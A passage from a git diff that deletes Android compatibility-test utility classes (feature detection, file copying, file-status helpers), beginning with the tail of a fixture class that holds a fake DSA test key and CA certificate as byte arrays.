- * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
- * mkdir -p demoCA/newcerts
- * touch demoCA/index.txt
- * echo "01" > demoCA/serial
- * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
- */
- public static class FAKE_DSA_1 {
- /**
- * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
- * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
- */
- public static final byte[] privateKey = {
- (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
- (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
- (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
- (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
- (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
- (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
- (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
- (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
- (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
- (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
- (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
- (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
- (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
- (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
- (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
- (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
- (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
- (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
- (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
- (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
- (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
- (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
- (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
- (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
- (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
- (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
- (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
- (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
- (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
- (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
- (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
- (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
- (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
- (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
- (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
- (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
- (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
- (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
- (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
- (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
- (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
- (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
- (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
- (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
- (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
- (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
- (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
- (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
- (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
- (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
- (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
- (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
- (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
- (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
- (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
- (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
-
- };
-
- /**
- * Generated from above and converted with:
- *
- * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
- */
- public static final byte[] caCertificate = new byte[] {
- (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
- (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
- (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
- (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
- (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
- (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
- (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
- (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
- (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
- (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
- (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
- (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
- (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
- (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
- (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
- (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
- (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
- (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
- (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
- (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
- (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
- (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
- (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
- (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
- (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
- (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
- (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
- (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
- (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
- (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
- (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
- (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
- (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
- (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
- (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
- (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
- (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
- (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
- (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
- (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
- (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
- (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
- (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
- (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
- (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
- (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
- (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
- (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
- (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
- (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
- (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
- (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
- (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
- (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
- (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
- (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
- (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
- (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
- (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
- (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
- (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
- (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
- (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
- (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
- (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
- (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
- (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
- (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
- (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
- (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
- (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
- (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
- (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
- (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
- (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
- (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
- (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
- (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
- (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
- (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
- (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
- (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
- (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
- (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
- (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
- (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
- (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
- (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
- (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
- (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
- (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
- (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
- (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
- (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
- (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
- (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
- (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
- (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
- (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
- (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
- (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
- (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
- (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
- (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
- (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
- (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
- };
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
deleted file mode 100644
index c9681d2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.pm.FeatureInfo;
-import android.content.pm.PackageManager;
-import android.content.res.Configuration;
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Device-side utility class for detecting system features
- */
-public class FeatureUtil {
-
- public static final String AUTOMOTIVE_FEATURE = "android.hardware.type.automotive";
- public static final String LEANBACK_FEATURE = "android.software.leanback";
- public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
- public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
- public static final String TV_FEATURE = "android.hardware.type.television";
- public static final String WATCH_FEATURE = "android.hardware.type.watch";
-
-
- /** Returns true if the device has a given system feature */
- public static boolean hasSystemFeature(String feature) {
- return getPackageManager().hasSystemFeature(feature);
- }
-
- /** Returns true if the device has any feature in a given collection of system features */
- public static boolean hasAnySystemFeature(String... features) {
- PackageManager pm = getPackageManager();
- for (String feature : features) {
- if (pm.hasSystemFeature(feature)) {
- return true;
- }
- }
- return false;
- }
-
- /** Returns true if the device has all features in a given collection of system features */
- public static boolean hasAllSystemFeatures(String... features) {
- PackageManager pm = getPackageManager();
- for (String feature : features) {
- if (!pm.hasSystemFeature(feature)) {
- return false;
- }
- }
- return true;
- }
-
- /** Returns all system features of the device */
- public static Set<String> getAllFeatures() {
- Set<String> allFeatures = new HashSet<String>();
- for (FeatureInfo fi : getPackageManager().getSystemAvailableFeatures()) {
- allFeatures.add(fi.name);
- }
- return allFeatures;
- }
-
- /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
- public static boolean isTV() {
- return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
- }
-
- /** Returns true if the device has feature WATCH_FEATURE */
- public static boolean isWatch() {
- return hasSystemFeature(WATCH_FEATURE);
- }
-
- /** Returns true if the device has feature AUTOMOTIVE_FEATURE */
- public static boolean isAutomotive() {
- return hasSystemFeature(AUTOMOTIVE_FEATURE);
- }
-
- public static boolean isVrHeadset() {
- int maskedUiMode = (getConfiguration().uiMode & Configuration.UI_MODE_TYPE_MASK);
- return (maskedUiMode == Configuration.UI_MODE_TYPE_VR_HEADSET);
- }
-
- /** Returns true if the device is a low ram device:
- * 1. API level >= O_MR1
- * 2. device has feature LOW_RAM_FEATURE
- */
- public static boolean isLowRam() {
- return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O_MR1) &&
- hasSystemFeature(LOW_RAM_FEATURE);
- }
-
- private static Context getContext() {
- return InstrumentationRegistry.getInstrumentation().getTargetContext();
- }
-
- private static PackageManager getPackageManager() {
- return getContext().getPackageManager();
- }
-
- private static Configuration getConfiguration() {
- return getContext().getResources().getConfiguration();
- }
-
- /** Returns true if the device has feature TELEPHONY_FEATURE */
- public static boolean hasTelephony() {
- return hasSystemFeature(TELEPHONY_FEATURE);
- }
-
- /** Returns true if the device has feature FEATURE_MICROPHONE */
- public static boolean hasMicrophone() {
- return hasSystemFeature(getPackageManager().FEATURE_MICROPHONE);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java b/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
deleted file mode 100644
index f58dbd0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FileCopyHelper.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
-/**
- * FileCopyHelper is used to copy files from resources to the
- * application directory and responsible for deleting the files.
- *
- * @see MediaStore_VideoTest
- * @see MediaStore_Images_MediaTest
- * @see MediaStore_Images_ThumbnailsTest
- */
-public class FileCopyHelper {
- /** The context. */
- private Context mContext;
-
- /** The files added. */
- private ArrayList<String> mFilesList;
-
- /**
- * Instantiates a new file copy helper.
- *
- * @param context the context
- */
- public FileCopyHelper(Context context) {
- mContext = context;
- mFilesList = new ArrayList<String>();
- }
-
- /**
- * Copy the file from the resources with a filename.
- *
- * @param resId the res id
- * @param fileName the file name
- *
- * @return the absolute path of the destination file
- * @throws IOException
- */
- public String copy(int resId, String fileName) throws IOException {
- InputStream source = mContext.getResources().openRawResource(resId);
- OutputStream target = mContext.openFileOutput(fileName, Context.MODE_WORLD_READABLE);
- copyFile(source, target);
- mFilesList.add(fileName);
- return mContext.getFileStreamPath(fileName).getAbsolutePath();
- }
-
- public void copyToExternalStorage(int resId, File path) throws IOException {
- InputStream source = mContext.getResources().openRawResource(resId);
- OutputStream target = new FileOutputStream(path);
- copyFile(source, target);
- }
-
- private void copyFile(InputStream source, OutputStream target) throws IOException {
- try {
- byte[] buffer = new byte[1024];
- for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
- target.write(buffer, 0, len);
- }
- } finally {
- if (source != null) {
- source.close();
- }
- if (target != null) {
- target.close();
- }
- }
- }
-
- /**
- * Delete all the files copied by the helper.
- */
- public void clear(){
- for (String path : mFilesList) {
- mContext.deleteFile(path);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
deleted file mode 100644
index ceada01..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-/** Bits and pieces copied from hidden API of android.os.FileUtils. */
-public class FileUtils {
-
- public static final int S_IFMT = 0170000;
- public static final int S_IFSOCK = 0140000;
- public static final int S_IFLNK = 0120000;
- public static final int S_IFREG = 0100000;
- public static final int S_IFBLK = 0060000;
- public static final int S_IFDIR = 0040000;
- public static final int S_IFCHR = 0020000;
- public static final int S_IFIFO = 0010000;
-
- public static final int S_ISUID = 0004000;
- public static final int S_ISGID = 0002000;
- public static final int S_ISVTX = 0001000;
-
- public static final int S_IRWXU = 00700;
- public static final int S_IRUSR = 00400;
- public static final int S_IWUSR = 00200;
- public static final int S_IXUSR = 00100;
-
- public static final int S_IRWXG = 00070;
- public static final int S_IRGRP = 00040;
- public static final int S_IWGRP = 00020;
- public static final int S_IXGRP = 00010;
-
- public static final int S_IRWXO = 00007;
- public static final int S_IROTH = 00004;
- public static final int S_IWOTH = 00002;
- public static final int S_IXOTH = 00001;
-
- static {
- System.loadLibrary("cts_jni");
- }
-
- public static class FileStatus {
-
- public int dev;
- public int ino;
- public int mode;
- public int nlink;
- public int uid;
- public int gid;
- public int rdev;
- public long size;
- public int blksize;
- public long blocks;
- public long atime;
- public long mtime;
- public long ctime;
-
- public boolean hasModeFlag(int flag) {
- if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
- throw new IllegalArgumentException("Inappropriate flag " + flag);
- }
- return (mode & flag) == flag;
- }
-
- public boolean isOfType(int type) {
- if ((type & S_IFMT) != type) {
- throw new IllegalArgumentException("Unknown type " + type);
- }
- return (mode & S_IFMT) == type;
- }
- }
-
- /**
- * @param path of the file to stat
- * @param status object to set the fields on
- * @param statLinks or don't stat links (lstat vs stat)
- * @return whether or not we were able to stat the file
- */
- public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
-
- public native static String getUserName(int uid);
-
- public native static String getGroupName(int gid);
-
- public native static int setPermissions(String file, int mode);
-
- /**
- * Copy data from a source stream to destFile.
- * Return true if succeed, return false if failed.
- */
- public static boolean copyToFile(InputStream inputStream, File destFile) {
- try {
- if (destFile.exists()) {
- destFile.delete();
- }
- FileOutputStream out = new FileOutputStream(destFile);
- try {
- byte[] buffer = new byte[4096];
- int bytesRead;
- while ((bytesRead = inputStream.read(buffer)) >= 0) {
- out.write(buffer, 0, bytesRead);
- }
- } finally {
- out.flush();
- try {
- out.getFD().sync();
- } catch (IOException e) {
- }
- out.close();
- }
- return true;
- } catch (IOException e) {
- return false;
- }
- }
-
- public static void createFile(File file, int numBytes) throws IOException {
- File parentFile = file.getParentFile();
